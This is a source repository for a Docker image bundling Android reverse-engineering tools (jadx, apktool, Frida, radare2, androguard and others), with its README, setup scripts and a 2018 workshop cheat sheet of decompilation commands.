├── Dockerfile.re ├── README.md ├── docker-compose.yml ├── obsolete ├── Dockerfile.dexcalibur ├── Dockerfile.emulators └── dexcalibur-obsolete.md ├── setup ├── extract.sh ├── install-frida-server.sh ├── startXvfb.sh └── supervisord.conf └── workshops └── hacklu-2018 ├── cheatsheet.md ├── guide.md ├── setup.md └── soluce.md /Dockerfile.re: -------------------------------------------------------------------------------- 1 | # ------------------------- A few multi stage builds to save MB (but not that much compared to the rest... :( ) 2 | FROM alpine/git as clone 3 | WORKDIR /opt 4 | RUN git clone --recursive https://github.com/CalebFenton/simplify 5 | RUN git clone https://github.com/skylot/jadx.git 6 | 7 | FROM gradle:8.2 as build 8 | WORKDIR /opt 9 | COPY --from=clone /opt/jadx /opt/jadx 10 | RUN cd /opt/jadx && ./gradlew dist 11 | 12 | # ------------------------- Android Reverse Engineering environment image 13 | FROM ubuntu:22.04 14 | 15 | MAINTAINER Axelle Apvrille 16 | ENV REFRESHED_AT 2024-02-13 17 | 18 | ARG DEBIAN_FRONTEND=noninteractive 19 | ARG SSH_PASSWORD 20 | ARG VNC_PASSWORD 21 | ENV AXMLPRINTER_VERSION "0.1.7" 22 | ENV APKTOOL_VERSION "2.9.3" 23 | ENV DEX2JAR_VERSION "2.4" 24 | ENV FRIDA_VERSION "16.1.11" 25 | ENV JD_VERSION "1.6.6" 26 | ENV SMALI_VERSION "2.5.2" 27 | ENV UBERAPK_VERSION "1.3.0" 28 | 29 | # For DroidLysis: libxml2-dev libxslt-dev libmagic-dev 30 | # For SSH: openssh-server ssh 31 | # For VNC: xvfb x11vnc xfce4 xfce4-terminal 32 | # For Quark engine: graphviz libbz2-dev 33 | # For CRC32: libarchive-zip-perl 34 | # For Kavanoz: cmake 35 | 36 | #RUN apt-get update && apt-get install -yqq default-jdk libpulse0 libxcursor1 adb python3-pip python3-dev python3-venv pkgconf pandoc curl \ 37 | RUN apt-get update && apt-get install -yqq openjdk-8-jre openjdk-11-jre python3-pip python3-dev python3-venv pkgconf pandoc curl locate \ 38 | git build-essential tree wget unzip zip emacs vim supervisor \ 39 | libxml2-dev libxslt-dev libmagic-dev \ 40 | openssh-server ssh \ 41 | xvfb x11vnc xfce4 xfce4-terminal\ 42 | libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg8-dev zlib1g-dev wkhtmltopdf \ 43 | graphviz adb libbz2-dev file libarchive-zip-perl cmake 44 | 45 | RUN python3 -m pip install --upgrade pip && pip3 install wheel 46 | 47 | # ----------------------------- RE Tools 48 | 49 | # Androguard 50 | #RUN wget -q -O "/opt/andro.zip" https://github.com/androguard/androguard/archive/v${ANDROGUARD_VERSION}.zip && unzip /opt/andro.zip -d /opt && rm -f /opt/andro.zip 51 | #RUN cd /opt/androguard-${ANDROGUARD_VERSION} && pip3 install .[magic,GUI] && pip3 install --upgrade 'jedi<0.18.0' && rm -r ./docs ./examples ./tests ./lib* 52 | RUN pip install androguard==3.4.0a1 53 | 54 | # APKiD 55 | # yara-python-dex (required for apkid) 56 | RUN pip wheel --wheel-dir=yara-python-dex git+https://github.com/MobSF/yara-python-dex.git \ 57 | && pip install --no-index --find-links=yara-python-dex yara-python-dex \ 58 | && rm -rf yara-python-dex 59 | RUN pip3 install --no-cache-dir apkid 60 | 61 | # Apksigtool 62 | RUN cd /opt && git clone https://github.com/obfusk/apksigtool 63 | RUN pip3 install pyasn1-modules && cd /opt/apksigtool && python3 setup.py install 64 | 65 | # Apktool 66 | RUN mkdir -p /opt/apktool 67 | RUN wget -q -O "/opt/apktool/apktool" https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool 68 | RUN wget -q -O "/opt/apktool/apktool.jar" https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_$APKTOOL_VERSION.jar \ 69 | && chmod u+x /opt/apktool/apktool /opt/apktool/apktool.jar 70 | ENV PATH $PATH:/opt/apktool 71 | 72 | # AXMLPrinter 73 | RUN wget -q -O "/opt/axmlprinter.jar" https://github.com/rednaga/axmlprinter/releases/download/${AXMLPRINTER_VERSION}/axmlprinter-${AXMLPRINTER_VERSION}.jar 74 | 75 | # Dex2Jar 76 | RUN wget -q -O "/opt/dex2jar.zip" https://github.com/pxb1988/dex2jar/releases/download/v${DEX2JAR_VERSION}/dex-tools-v${DEX2JAR_VERSION}.zip && cd /opt \ 77 | && unzip /opt/dex2jar.zip -d . \ 78 | && chmod u+x /opt/dex-tools-v${DEX2JAR_VERSION}/*.sh \ 79 | && rm -f /opt/dex2jar.zip 80 | ENV PATH $PATH:/opt/dex-tools-v${DEX2JAR_VERSION}:/opt/dex-tools-v${DEX2JAR_VERSION}/bin 81 | 82 | # Droidlysis 83 | ENV PATH $PATH:/root/.local/bin 84 | ENV PYTHONPATH $PYTHONPATH:/opt/droidlysis 85 | RUN cd /opt && git clone https://github.com/cryptax/droidlysis && cd /opt/droidlysis && pip3 install --user -r requirements.txt 86 | RUN chmod u+x /opt/droidlysis/droidlysis 87 | RUN sed -i 's#~/softs#/opt#g' /opt/droidlysis/conf/general.conf 88 | RUN sed -i 's#apktool =.*jar#apktool = /opt/apktool/apktool.jar#g' /opt/droidlysis/conf/general.conf 89 | RUN sed -i 's#baksmali-.*jar#baksmali.jar#g' /opt/droidlysis/conf/general.conf 90 | RUN sed -i "s#dex2jar =.*sh#dex2jar = /opt/dex-tools-v${DEX2JAR_VERSION}/d2j-dex2jar.sh#g" /opt/droidlysis/conf/general.conf 91 | 92 | # Flutter 93 | RUN wget -q -O "/opt/flutter-header.py" https://raw.githubusercontent.com/cryptax/misc-code/master/flutter/flutter-header.py 94 | 95 | # Frida, Frida Server and Frida-DEXDump 96 | RUN pip3 install frida frida-tools frida-dexdump 97 | COPY ./setup/install-frida-server.sh /opt 98 | RUN cd /opt \ 99 | && wget -q -O "/opt/frida-server.xz" https://github.com/frida/frida/releases/download/${FRIDA_VERSION}/frida-server-${FRIDA_VERSION}-android-arm.xz && unxz /opt/frida-server.xz && mv /opt/frida-server /opt/frida-server-android-arm && chmod u+x /opt/install-frida-server.sh 100 | 101 | # JADX 102 | COPY --from=build /opt/jadx/build /opt/jadx/ 103 | 104 | # JD-GUI 105 | COPY ./setup/extract.sh /opt/extract.sh 106 | RUN wget -q -O "/opt/jd-gui.jar" "https://github.com/java-decompiler/jd-gui/releases/download/v${JD_VERSION}/jd-gui-${JD_VERSION}.jar" && chmod +x /opt/extract.sh 107 | 108 | # LIEF 109 | RUN pip install lief 110 | 111 | # Kavanoz 112 | RUN cd /opt && git clone https://github.com/eybisi/kavanoz && cd kavanoz && python3 -m venv kavanoz-venv && . ./kavanoz-venv/bin/activate && pip install -e . && deactivate 113 | 114 | # Quark engine 115 | RUN pip3 install -U quark-engine 116 | 117 | # Radare2 118 | RUN cd /opt && git clone https://github.com/radare/radare2 119 | RUN /opt/radare2/sys/user.sh 120 | 121 | # NodeJS is required for r2frida 122 | #RUN curl -sL https://deb.nodesource.com/setup_16.x | bash - 123 | #RUN apt-get install -yqq nodejs 124 | #RUN ~/bin/r2pm init && ~/bin/r2pm update && ~/bin/r2pm install r2frida && pip3 install r2pipe 125 | 126 | # Install Smali / Baksmali 127 | RUN wget -q -O "/opt/smali.jar" "https://bitbucket.org/JesusFreke/smali/downloads/smali-${SMALI_VERSION}.jar" 128 | RUN wget -q -O "/opt/baksmali.jar" "https://bitbucket.org/JesusFreke/smali/downloads/baksmali-${SMALI_VERSION}.jar" 129 | RUN wget -q -O "/opt/smali" "https://bitbucket.org/JesusFreke/smali/downloads/smali" 130 | RUN wget -q -O "/opt/baksmali" "https://bitbucket.org/JesusFreke/smali/downloads/baksmali" 131 | ENV PATH $PATH:/opt 132 | 133 | # uber-apk-signer 134 | RUN wget -q -O "/opt/uber-apk-signer.jar" https://github.com/patrickfav/uber-apk-signer/releases/download/v${UBERAPK_VERSION}/uber-apk-signer-${UBERAPK_VERSION}.jar 135 | 136 | # apkleaks 137 | RUN pip3 install apkleaks 138 | # apkleaks requires jadx to be on the path 139 | ENV PATH $PATH:/opt/jadx/jadx/bin 140 | 141 | # pyaxml parser which will install a commandline apkinfo to quickly display info about APK 142 | RUN pip3 install pyaxmlparser 143 | 144 | 145 | # ------------------------ Install SSH access --------------------------------------------- 146 | RUN mkdir /var/run/sshd \ 147 | && echo "root:${SSH_PASSWORD}" | chpasswd \ 148 | && echo "PermitRootLogin yes" >> /etc/ssh/sshd_config \ 149 | && echo "X11UseLocalhost no" >> /etc/ssh/sshd_config \ 150 | && sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd 151 | # SSH login fix. Otherwise user is kicked off after login 152 | 153 | # ------------------------- Setup VNC server - we need GLX support for Android emulator 154 | COPY ./setup/startXvfb.sh /root/startXvfb.sh 155 | RUN mkdir ~/.vnc \ 156 | && x11vnc -storepasswd ${VNC_PASSWORD} ~/.vnc/passwd \ 157 | && chmod u+x /root/startXvfb.sh 158 | 159 | 160 | # # We need supervisor to launch SSH and VNC 161 | RUN mkdir -p /var/log/supervisor 162 | COPY ./setup/supervisord.conf /etc/supervisor/conf.d/supervisord.conf 163 | 164 | RUN echo "export PATH=$PATH:/root/bin" >> /etc/profile \ 165 | && echo "export LD_LIBRARY_PATH=$LD_LIBRARY_PATH" >> /etc/profile \ 166 | && echo "export LC_ALL=C" >> /root/.bashrc 167 | 168 | # ------------------------- Clean up 169 | 170 | RUN apt remove --purge -y pandoc && \ 171 | apt clean && apt autoclean && apt autoremove -y && \ 172 | rm -rf /var/lib/apt/lists/* /tmp/* /usr/share/doc/* > /dev/null 2>&1 173 | 174 | # ------------------------- Final matter 175 | VOLUME ["/data"] # to be used for instance to pass along samples 176 | CMD [ "/usr/bin/supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf" ] 177 | WORKDIR /workshop 178 | 179 | EXPOSE 22 180 | EXPOSE 5900 181 | EXPOSE 5037 182 | EXPOSE 8000 183 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # What's this? 2 | 3 | This repository contains 1 docker image for the reverse engineering of _Android_ applications: 4 | 5 | - Android RE tools: `cryptax/android-re:2024.02` (1.7 GB). This image contains reverse engineering tools. 6 | 7 | **Disclaimer**: Please use responsibly. 8 | 9 | # Quick Setup 10 | 11 | On an AMD64 platform, you can pull the container via `docker pull`: 12 | 13 | 1. `docker pull cryptax/android-re:2024.02` 14 | 2. `docker-compose up -d android-retools` 15 | 16 | Access by SSH: 17 | 18 | ``` 19 | $ xhost + 20 | $ ssh -p 5022 -X root@127.0.0.1 21 | ``` 22 | 23 | For VNC, install a *VNC viewer*, then: 24 | 25 | ``` 26 | $ vncviewer 127.0.0.1::5900 27 | ``` 28 | 29 | Default password is `mypass`. See `docker_compose.yml` to change it. 30 | 31 | # Build / Customization 32 | 33 | If you wish to *build the images locally*: `docker-compose build`. 34 | 35 | You can customize: 36 | 37 | - Ports for SSH and VNC 38 | 39 | ``` 40 | ports: 41 | - "6022:22" 42 | - "6900:5900" 43 | ``` 44 | 45 | - Password for SSH and VNC 46 | 47 | ``` 48 | args: 49 | - SSH_PASSWORD=mypass 50 | - VNC_PASSWORD=mypass 51 | ``` 52 | 53 | 54 | # Android tools image (`android-re`) 55 | 56 | - [androguard](https://github.com/androguard/androguard) 57 | - [apkid](https://github.com/rednaga/APKiD/) 58 | - [apkleaks](https://github.com/dwisiswant0/apkleaks) 59 | - [apktool](https://bitbucket.org/iBotPeaches/apktool) 60 | - [axmlprinter](https://github.com/rednaga/axmlprinter) 61 | - [baksmali / smali](https://github.com/JesusFreke/smali) 62 | - [dex2jar](https://github.com/pxb1988/dex2jar) 63 | - [droidlysis](https://github.com/cryptax/droidlysis) 64 | - [frida](https://frida.re) 65 | - [jadx](https://github.com/skylot/jadx) 66 | - [java decompiler](https://github.com/java-decompiler/jd-gui/) 67 | - [kavanoz](https://github.com/eybisi/kavanoz) 68 | - [quark](https://github.com/quark-engine/quark-engine) 69 | - [radare2](https://radare.org) 70 | - [uber apk signer](https://github.com/patrickfav/uber-apk-signer) 71 | 72 | Those are open source tools, or free demos. They are installed in `/opt`. 73 | 74 | ## Interesting tools to install on the host (not in the container) 75 | 76 | - [medusa](https://github.com/Ch0pin/medusa) 77 | - [objection](https://github.com/sensepost/objection): `pip3 install objection` 78 | 79 | ## Obsolete / Broken 80 | 81 | **The other images are obsolete and/or broken**: `cryptax/dexcalibur:2023.01` and `cryptax/android-emu:2021.01`. 82 | 83 | ## Adding more tools 84 | 85 | ``` 86 | # APKdiff 87 | RUN wget -q -O "/opt/apkdiffy.py" https://raw.githubusercontent.com/daniellockyer/apkdiff/master/apkdiff.py 88 | 89 | # Apkfile 90 | RUN cd /opt && git clone https://github.com/CalebFenton/apkfile 91 | 92 | # ByteCode Viewer 93 | RUN wget -q -O "/opt/bytecode-viewer.jar" "https://github.com/Konloch/bytecode-viewer/releases/download/v2.9.22/Bytecode-Viewer-${BYTECODEVIEWER_VERSION}.jar 94 | 95 | # CFR 96 | RUN wget -q -O "/opt/cfr_${CFR_VERSION}.jar" http://www.benf.org/other/cfr/cfr-${CFR_VERSION}.jar 97 | 98 | # ClassyShark 99 | RUN wget -q -O "/opt/ClassyShark.jar" https://github.com/google/android-classyshark/releases/download/${CLASSYSHARK_VERSION}/ClassyShark.jar 100 | 101 | # Enjarify 102 | RUN cd /opt && git clone https://github.com/Storyyeller/enjarify && ln -s /opt/enjarify/enjarify.sh /usr/bin/enjarify 103 | 104 | # Fridump 105 | RUN cd /opt && git clone https://github.com/Nightbringer21/fridump.git 106 | 107 | # Oat2Dex 108 | RUN wget -q -O "/opt/oat2dex.py" https://github.com/jakev/oat2dex-python/blob/master/oat2dex.py 109 | 110 | # Procyon (link broken, currently using an archive) - Does not work with Java 11. Works with Java 8 111 | RUN wget -q -O "/opt/procyon-decompiler.jar" "https://github.com/cryptax/droidlysis/raw/master/external/procyon-decompiler-${PROCYON_VERSION}.jar" 112 | 113 | ``` 114 | 115 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | --- 2 | version: "3" 3 | services: 4 | android-retools: 5 | build: 6 | context: . 7 | dockerfile: Dockerfile.re 8 | args: 9 | - SSH_PASSWORD=mypass 10 | - VNC_PASSWORD=mypass 11 | image: cryptax/android-re:2024.02 12 | container_name: android-retools 13 | ports: 14 | - "6022:22" 15 | - "6900:5900" 16 | - "6800:8000" 17 | volumes: 18 | - /tmp/retools:/workshop 19 | -------------------------------------------------------------------------------- /obsolete/Dockerfile.dexcalibur: -------------------------------------------------------------------------------- 1 | # ------------------------- Dexcalibur Docker image 2 | FROM ubuntu:20.04 3 | 4 | MAINTAINER Axelle Apvrille 5 | ENV REFRESHED_AT 2023-01-19 6 | 7 | ARG DEBIAN_FRONTEND=noninteractive 8 | ARG JDK_VERSION=8 9 | ENV FRIDA_VERSION 16.0.8 10 | ENV FRIDA_SERVER frida-server-${FRIDA_VERSION}-android-x86_64.xz 11 | 12 | 13 | # --------------------- Various requirements ------------------------- 14 | RUN apt-get update && \ 15 | apt-get install -yqq curl dirmngr apt-transport-https lsb-release ca-certificates adb \ 16 | python3-pip python openjdk-${JDK_VERSION}-jdk build-essential wget bash git 17 | 18 | # ----------------------- Install NodeJS ----------------------------------------------- 19 | 20 | 21 | RUN mkdir /usr/local/nvm 22 | ENV NVM_DIR /usr/local/nvm 23 | ENV NODE_VERSION 19.4.0 24 | 25 | RUN curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.3/install.sh | bash \ 26 | && . $NVM_DIR/nvm.sh \ 27 | && nvm install $NODE_VERSION \ 28 | && nvm alias default $NODE_VERSION \ 29 | && nvm use default 30 | 31 | ENV NODE_PATH $NVM_DIR/v$NODE_VERSION/lib/node_modules 32 | ENV PATH $NVM_DIR/versions/node/v$NODE_VERSION/bin:$PATH 33 | 34 | RUN node -v 35 | RUN npm -v 36 | 37 | # ----------------------- Install Frida ----------------------------------------------- 38 | RUN pip3 install frida-tools 39 | RUN mkdir -p /workshop && wget -q -O /workshop/${FRIDA_SERVER} https://github.com/frida/frida/releases/download/${FRIDA_VERSION}/${FRIDA_SERVER} && cd /workshop && unxz ${FRIDA_SERVER} 40 | 41 | # ----------------------- Install Dexcalibur ----------------------------------------------- 42 | RUN git clone https://github.com/FrenchYeti/dexcalibur 43 | RUN cd dexcalibur && npm install -g 44 | 45 | # ------------------------- Clean up 46 | RUN apt-get clean && apt-get autoclean && apt-get autoremove -y && \ 47 | rm -rf /var/lib/apt/lists/* /tmp/* /usr/share/doc/* > /dev/null 2>&1 48 | 49 | # ------------------------- Final matter 50 | WORKDIR /workshop 51 | VOLUME ["/data"] 52 | CMD [ "/bin/bash" ] 53 | 54 | 55 | EXPOSE 8000 56 | 57 | -------------------------------------------------------------------------------- /obsolete/Dockerfile.emulators: -------------------------------------------------------------------------------- 1 | # ------------------------- Android RE environment image 2 | FROM ubuntu:20.04 3 | 4 | MAINTAINER Axelle Apvrille 5 | ENV REFRESHED_AT 2021-02-22 6 | 7 | ARG DEBIAN_FRONTEND=noninteractive 8 | ARG SSH_PASSWORD 9 | ARG VNC_PASSWORD 10 | ARG JDK_VERSION=8 11 | ENV ANDROID_SDK_VERSION "6858069" 12 | 13 | # docker run --name latest-ubuntu --network=host -e DISPLAY=$DISPLAY --rm -it ubuntu:20.04 14 | RUN apt-get update && apt-get install -yqq openjdk-${JDK_VERSION}-jdk libpulse0 libxcursor1 adb \ 15 | git build-essential supervisor wget unzip zip \ 16 | iptables iputils-ping \ 17 | libxml2-dev libxslt-dev \ 18 | openssh-server ssh \ 19 | xvfb x11vnc xfce4 20 | 21 | # --------------------- Android SDK and emulators 22 | ENV ANDROID_SDK_ROOT /opt/android-sdk 23 | RUN mkdir -p ${ANDROID_SDK_ROOT} && wget -q -O "/opt/android-sdk/tools-linux.zip" https://dl.google.com/android/repository/commandlinetools-linux-${ANDROID_SDK_VERSION}_latest.zip && unzip /opt/android-sdk/tools-linux.zip -d $ANDROID_SDK_ROOT && rm -f /opt/android-sdk/tools-linux.zip && cd ${ANDROID_SDK_ROOT}/cmdline-tools && mkdir -p tools/latest && mv bin/* ./tools/latest && mv lib/ tools && rmdir bin 24 | ENV PATH $PATH:${ANDROID_SDK_ROOT}/cmdline-tools/tools/latest 25 | RUN echo y | sdkmanager --update 26 | RUN yes | sdkmanager --licenses 27 | RUN echo "yes" | sdkmanager "emulator" \ 28 | "tools" \ 29 | "platform-tools" \ 30 | "build-tools;31.0.0-rc1" \ 31 | "platforms;android-22" \ 32 | "platforms;android-30" \ 33 | "system-images;android-22;google_apis;armeabi-v7a" \ 34 | "system-images;android-30;google_apis;x86_64" 35 | 36 | RUN echo "no" | avdmanager create avd -n "Android51" -k "system-images;android-22;google_apis;armeabi-v7a" 37 | RUN echo "no" | avdmanager create avd -n "Android11_x86_64" -k "system-images;android-30;google_apis;x86_64" 38 | ENV LD_LIBRARY_PATH $LD_LIBRARY_PATH:${ANDROID_SDK_ROOT}/emulator/lib64:${ANDROID_SDK_ROOT}/emulator/lib64/qt/lib 39 | 40 | # for the "root without --no-sandbox" bug 41 | ENV QTWEBENGINE_DISABLE_SANDBOX 1 42 | 43 | # ------------------------ Dexcalibur ----------------------------------------------------- 44 | ENV FRIDA_SERVER frida-server-14.2.13-android-x86_64.xz 45 | RUN apt install -yqq curl dirmngr apt-transport-https lsb-release ca-certificates \ 46 | python3-pip python 47 | RUN curl -fsSL https://deb.nodesource.com/setup_12.x | bash - 48 | RUN apt install nodejs 49 | RUN pip3 install frida-tools 50 | RUN npm install -g npm && npm install -g dexcalibur 51 | RUN mkdir -p /workshop && wget -q -O /workshop/${FRIDA_SERVER} https://github.com/frida/frida/releases/download/14.2.13/${FRIDA_SERVER} && cd /workshop && unxz ${FRIDA_SERVER} 52 | 53 | # ------------------------ Install SSH access --------------------------------------------- 54 | RUN mkdir /var/run/sshd \ 55 | && echo "root:${SSH_PASSWORD}" | chpasswd \ 56 | && echo "PermitRootLogin yes" >> /etc/ssh/sshd_config \ 57 | && echo "X11UseLocalhost no" >> /etc/ssh/sshd_config \ 58 | && sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd 59 | # SSH login fix. Otherwise user is kicked off after login 60 | 61 | # ------------------------- Install VNC server - we need GLX support for Android emulator 62 | COPY ./setup/startXvfb.sh /root/startXvfb.sh 63 | RUN mkdir ~/.vnc \ 64 | && x11vnc -storepasswd ${VNC_PASSWORD} ~/.vnc/passwd \ 65 | && chmod u+x /root/startXvfb.sh 66 | 67 | # We need supervisor to launch SSH and VNC 68 | RUN mkdir -p /var/log/supervisor 69 | COPY ./setup/supervisord.conf /etc/supervisor/conf.d/supervisord.conf 70 | 71 | RUN echo "export PATH=$PATH" >> /etc/profile \ 72 | && echo "export LD_LIBRARY_PATH=$LD_LIBRARY_PATH" >> /etc/profile \ 73 | && echo "export QTWEBENGINE_DISABLE_SANDBOX=1" >> /etc/profile 74 | RUN echo "alias emulator5='/opt/android-sdk/emulator/emulator -avd Android51 -no-audio -partition-size 512 -no-boot-anim'" >> /root/.bashrc \ 75 | && echo "alias emulator='/opt/android-sdk/tools/emulator -avd Android11_x86_64 -no-audio -no-boot-anim'" >> /root/.bashrc \ 76 | && echo "export LC_ALL=C" >> /root/.bashrc 77 | 78 | # ------------------------- Clean up 79 | 80 | RUN apt-get clean && apt-get autoclean && apt-get autoremove -y && \ 81 | rm -rf /var/lib/apt/lists/* /tmp/* /usr/share/doc/* > /dev/null 2>&1 82 | 83 | # ------------------------- Final matter 84 | 85 | WORKDIR /workshop 86 | VOLUME ["/data"] # to be used for instance to pass along samples 87 | CMD [ "/usr/bin/supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf" ] 88 | 89 | EXPOSE 5554 90 | EXPOSE 5555 91 | EXPOSE 5900 92 | EXPOSE 5037 93 | EXPOSE 8000 94 | EXPOSE 22 95 | -------------------------------------------------------------------------------- /obsolete/dexcalibur-obsolete.md: -------------------------------------------------------------------------------- 1 | # Notes on the obsolete Dexcalibur Docker image 2 | 3 | ## Running dexcalibur 4 | 5 | `docker run --rm --network=host -v /tmp/dexcalibur:/workshop -it cryptax/dexcalibur:2023.01 /bin/bash` 6 | -------------------------------------------------------------------------------- /setup/extract.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # taken from: https://gist.githubusercontent.com/PaulSec/39245428eb74577c5234/raw/4ff2c87fbe35c0cfdb55af063a6fee072622f292/extract.sh 3 | # replaced 7z by unzip 4 | 5 | jdgui="/opt/jd-gui" 6 | dex2jar="/opt/dex-tools-2.1-SNAPSHOT/d2j-dex2jar.sh" 7 | 8 | if [ $# -eq 0 ] 9 | then 10 | echo "Usage: extract.sh " 11 | exit 1 12 | fi 13 | 14 | # extracting the apk 15 | echo "apk file: $1" 16 | DIRECTORY=$(dirname ${1}) 17 | FILE=$(basename ${1}) 18 | 19 | echo "Creating directory $FILE.files" 20 | # echo "mkdir $1.files" 21 | mkdir $1.files 22 | 23 | echo "Extracting apk to $1.files/" 24 | # echo "7z x $1 -o$1.files/" 25 | unzip $1 -d $1.files/ 26 | 27 | echo "Finding .dex file in $1.files/" 28 | # echo "$dexfile={find ${1}.files/ -name '*.dex'}" 29 | dexfile=`find ${1}.files/ -name '*.dex'` 30 | 31 | echo "Generating $FILE.jar in $1.files/" 32 | # echo "$dex2jar $dexfile -o $1.files/$FILE.jar" 33 | $dex2jar $dexfile -o $1.files/$FILE.jar 34 | 35 | echo "Opening jd-gui with .jar file" 36 | # echo "$jdgui $1.files/$FILE.jar" 37 | $jdgui $1.files/$FILE.jar 2> /dev/null 38 | -------------------------------------------------------------------------------- /setup/install-frida-server.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | adb push /opt/frida-server-android-arm /data/local/tmp/ 4 | adb shell "chmod 755 /data/local/tmp/frida-server-android-arm" 5 | -------------------------------------------------------------------------------- /setup/startXvfb.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | Xvfb :1 +extension GLX +render -noreset -screen 0 1280x1024x24& DISPLAY=:1 /usr/bin/xfce4-session >> /root/xsession.log 2>&1 & 3 | x11vnc -loop -usepw -display :1 4 | exit 0 5 | -------------------------------------------------------------------------------- /setup/supervisord.conf: -------------------------------------------------------------------------------- 1 | [supervisord] 2 | nodaemon=true 3 | user=root 4 | 5 | [program:sshd] 6 | command=/usr/sbin/sshd -D 7 | stderr_logfile = /var/log/supervisor/sshd-stderr.log 8 | stdout_logfile = /var/log/supervisor/sshd-stdout.log 9 | 10 | [program:startxvfb] 11 | command=/bin/sh /root/startXvfb.sh 12 | 13 | 14 | -------------------------------------------------------------------------------- /workshops/hacklu-2018/cheatsheet.md: -------------------------------------------------------------------------------- 1 | % Android reverse engineering cheat sheet 2 | % Axelle Apvrille 3 | 4 | Creative Commons License
Android RE workshop by Axelle Apvrille (Fortinet) is licensed under a Creative Commons Attribution 4.0 International License 5 | 6 | # Lab setup 7 | 8 | - Docker: root / rootpass 9 | - Tools: installed in the virtual machine in /opt 10 | 11 | # Disassembly / Decompiling 12 | 13 | ## APK to smali 14 | 15 | ```bash 16 | $ java -jar /opt/apktool/apktool.jar d package.apk -o outputdir 17 | ``` 18 | 19 | ## APK to Java 20 | 21 | ```bash 22 | $ androlyze -s 23 | a, d, dx = AnalyzeAPK('package.apk',decompiler='dad') 24 | ``` 25 | or 26 | ```bash 27 | $ /opt/extract.sh package.apk 28 | ``` 29 | 30 | ## DEX to Java classes 31 | 32 | ```bash 33 | $ d2j-dex2jar.sh classes.dex 34 | ``` 35 | 36 | ## DEX to Java pseudo source code 37 | 38 | There are several options: 39 | ```bash 40 | $ /opt/jadx/build/jadx/bin/jadx -d outputdir classes.dex 41 | $ androdd -i classes.dex -o outputdir 42 | ``` 43 | 44 | With androlyze -s: 45 | ```bash 46 | d, dx = AnalyzeDex("classes.dex") 47 | d.create_python_export() 48 | ``` 49 | 50 | ## DEX to smali 51 | 52 | ```bash 53 | $ /opt/android-sdk-linux/build-tools/24.0.2/dexdump -d classes.dex 54 | $ java -jar /opt/baksmali.jar -o outputdir classes.dex 55 | ``` 56 | 57 | ## ODEX to smali 58 | 59 | ```bash 60 | $ java -jar /opt/baksmali.jar -x -d framework/ file.odex 61 | ``` 62 | 63 | 64 | ## Java classes to Java source files 65 | 66 | Several solutions, use one of these: 67 | ```bash 68 | $ java -jar /opt/jd-gui.jar your.jar & 69 | $ python /opt/Krakatau/disassemble.py -out outputdir your.jar 70 | $ java -jar /opt/procyon-decompiler.jar -o outputdir your.jar 71 | $ java -jar /opt/cfr_0_118.jar your.jar & 72 | ``` 73 | 74 | ## Androlyze 75 | 76 | ```python 77 | a, d, dx = AnalyzeAPK('package.apk', decompiler='dad') 78 | a.get_main_activity() 79 | a.get_permissions() 80 | a.get_services() 81 | a.get_receivers() 82 | d.get_strings() 83 | filter(lambda x:'blah' in x, all_strings) 84 | d.CLASS_.... .source() 85 | d.CLASS_... .show() 86 | d.CLASS_... .FIELD_... .set_name("xyz") 87 | d.CLASS_... .FIELD_... .show_dref() 88 | d.CLASS_... .METHOD_... .show_xref() 89 | z = dx.tainted_variables.get_string("blah") 90 | z.show_paths(d) 91 | show_Permissions(dx) 92 | ``` 93 | 94 | ## Radare 95 | 96 | ```bash 97 | $ r2 classes.dex 98 | ``` 99 | 100 | Analyze: 101 | 102 | - aa 103 | 104 | List: 105 | 106 | - classes: ic 107 | - functions: afl 108 | - imports: ii 109 | - strings: iz 110 | 111 | Cross references: 112 | 113 | - references to this address: axt 114 | - references from this address: axf 115 | 116 | Search: 117 | 118 | - f string 119 | - / string 120 | - grep: `command~pattern` 121 | 122 | Disassemble: 123 | 124 | - `pd nboflines @ addr` 125 | - disassemble a function: `pdf` 126 | 127 | Display: 128 | 129 | - `p8`: display bytes 130 | - display a string: `Cs.` or `Cs..` 131 | 132 | Comments: 133 | 134 | - Add a comment: `CC this is my comment @ addr` 135 | - Remove a comment: `CC-` 136 | 137 | Rename: 138 | 139 | - a function: `afn new-func-name` 140 | - a local argument: `afvn old-name new-name` 141 | 142 | Session: 143 | 144 | - save: `Ps filename`. By default, sessions are stored in `~/.config/radare2/projects`. 145 | - reload: `Po filename` 146 | 147 | Scripts: 148 | 149 | ```python 150 | import r2pipe 151 | 152 | # open communication 153 | r2p = r2pipe.open() 154 | 155 | # example issuing 2 commands: seek at address 0x00025900 156 | # followed by function disassembly at that address 157 | r2p.cmd("s 0x00025900 ; pdf") 158 | ``` 159 | 160 | 161 | 162 | # Resources and other files 163 | 164 | ## Android Manifest 165 | 166 | ```bash 167 | $ /opt/android-sdk-linux/build-tools/24.0.2/aapt dump xmltree package.apk AndroidManifest.xml 168 | ``` 169 | 170 | You can also try to convert the binary XML to readable XML. See "Convert binary XML to readable form". 171 | 172 | ## Convert binary XML to readable form 173 | 174 | Use either: 175 | ```bash 176 | $ java -jar /opt/axmlprinter/build/libs/axmlprinter-0.1.7.jar binary.xml > readable.xml 177 | $ androaxml -i binary.xml > readable.xml 178 | ``` 179 | 180 | ## Android resources 181 | 182 | ```bash 183 | $ /opt/android-sdk-linux/build-tools/24.0.2/aapt dump resources package.apk 184 | ``` 185 | 186 | ## Reading a certificate 187 | 188 | Choose: 189 | ```bash 190 | $ keytool -printcert -file cert.rsa 191 | $ openssl pkcs7 -inform DER -in CERT.RSA -noout -print_certs -text 192 | ``` 193 | 194 | # Assembling 195 | 196 | ## Smali to DEX 197 | 198 | ```bash 199 | $ java -jar /opt/smali.jar -x ./outputdir 200 | ``` 201 | 202 | # [Frida](https://www.frida.re/) 203 | 204 | - [Codeshare](https://codeshare.frida.re/) 205 | - List devices: `frida-ls-devices` 